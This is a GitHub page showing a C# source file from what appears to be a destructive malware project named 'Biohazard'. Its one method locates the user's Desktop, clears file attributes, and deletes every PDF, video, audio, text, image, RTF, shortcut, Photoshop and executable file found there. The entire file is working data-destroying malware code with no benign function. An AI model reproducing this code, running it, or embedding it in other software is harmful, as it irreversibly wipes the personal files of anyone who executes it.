-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBiohazardDeleteFilesDesktop.cs
More file actions
90 lines (89 loc) · 3.38 KB
/
BiohazardDeleteFilesDesktop.cs
File metadata and controls
90 lines (89 loc) · 3.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Biohazard.DesktopDeleteFiles
{
class BiohazardDeleteFilesDesktop
{
public void DeleteFilesDesktop()
{
string desk = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
DirectoryInfo pdffiledelete = new DirectoryInfo(desk);
FileInfo[] pdffile = pdffiledelete.GetFiles("*.pdf");
foreach (FileInfo pdfdelete in pdffile)
{
pdfdelete.Attributes = FileAttributes.Normal;
pdfdelete.Delete();
}
DirectoryInfo mp4formatfile = new DirectoryInfo(desk);
FileInfo[] mp4del = mp4formatfile.GetFiles("*.mp4");
foreach (FileInfo mmp4delete in mp4del)
{
mmp4delete.Attributes = FileAttributes.Normal;
mmp4delete.Delete();
}
DirectoryInfo wavfile = new DirectoryInfo(desk);
FileInfo[] wavv = wavfile.GetFiles("*.wav");
foreach (FileInfo file in wavv)
{
file.Attributes = FileAttributes.Normal;
file.Delete();
}
DirectoryInfo textfiles = new DirectoryInfo(desk);
FileInfo[] gettextfiles = textfiles.GetFiles("*.txt");
foreach (FileInfo txt in gettextfiles)
{
txt.Attributes = FileAttributes.Normal;
txt.Delete();
}
DirectoryInfo jpegformat = new DirectoryInfo(desk);
FileInfo[] fileJPEG = jpegformat.GetFiles("*.jpg");
foreach (FileInfo jpgfile in fileJPEG)
{
jpgfile.Attributes = FileAttributes.Normal;
jpgfile.Delete();
}
DirectoryInfo pngfile = new DirectoryInfo(desk);
FileInfo[] filePNGinfo = pngfile.GetFiles("*.png");
foreach (FileInfo png123 in filePNGinfo)
{
png123.Attributes = FileAttributes.Normal;
png123.Delete();
}
DirectoryInfo rtf = new DirectoryInfo(desk);
if (rtf.Exists)
{
FileInfo[] fileRTF = rtf.GetFiles("*.rtf");
foreach (FileInfo rtf123 in fileRTF)
{
rtf123.Attributes = FileAttributes.Normal;
rtf123.Delete();
}
}
DirectoryInfo linkfolder = new DirectoryInfo(desk);
FileInfo[] lnkfold = linkfolder.GetFiles("*.lnk");
foreach (FileInfo lnk in lnkfold)
{
lnk.Attributes = FileAttributes.Normal;
lnk.Delete();
}
DirectoryInfo photoshop = new DirectoryInfo(desk);
FileInfo[] phot = photoshop.GetFiles("*.psd");
foreach (FileInfo psd in phot)
{
psd.Attributes = FileAttributes.Normal;
psd.Delete();
}
DirectoryInfo xexe = new DirectoryInfo(desk);
FileInfo[] exe = xexe.GetFiles("*.exe");
foreach(FileInfo info in exe)
{
info.Attributes = FileAttributes.Normal;
info.Delete();
}
}
}
}